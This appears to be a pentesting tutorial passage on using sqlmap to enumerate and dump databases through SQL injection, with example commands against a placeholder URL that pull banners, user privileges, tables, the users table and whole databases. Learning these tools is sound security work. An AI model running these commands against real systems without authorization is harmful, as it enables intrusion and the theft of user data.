Database Enumeration

Basic DB Data Enumeration

Enumeration usually starts with the retrieval of the basic information:

• Database version banner (switch --banner)
• Current user name (switch --current-user)
• Current database name (switch --current-db)
• Checking if the current user has DBA (administrator) rights (switch --is-dba)

 
sqlmap -u "http://www.example.com/?id=1" --banner --current-user --current-db --is-dba

Table Enumeration

 
sqlmap -u "http://www.example.com/?id=1" --tables -D testdb

 
sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb

Apart from default CSV, we can specify the output format with the option --dump-format to HTML or SQLite, so that we can later further investigate the DB in an SQLite environment.

Table/Row Enumeration

Columns:

 
sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb -C name,surname

Rows:

 
sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb --start=2 --stop=3

Conditional Enumeration

 
sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb --where="name LIKE 'f%'"

Full DB Enumeration

Instead of retrieving content per single-table basis, we can retrieve all tables inside the database of interest by skipping the usage of option -T altogether (e.g. --dump -D testdb). By simply using the switch --dump without specifying a table with -T, all of the current database content will be retrieved. As for the --dump-all switch, all the content from all the databases will be retrieved.

In such cases, a user is also advised to include the switch --exclude-sysdbs (e.g. --dump-all --exclude-sysdbs), which will instruct SQLMap to skip the retrieval of content from system databases, as it is usually of little interest for pentesters.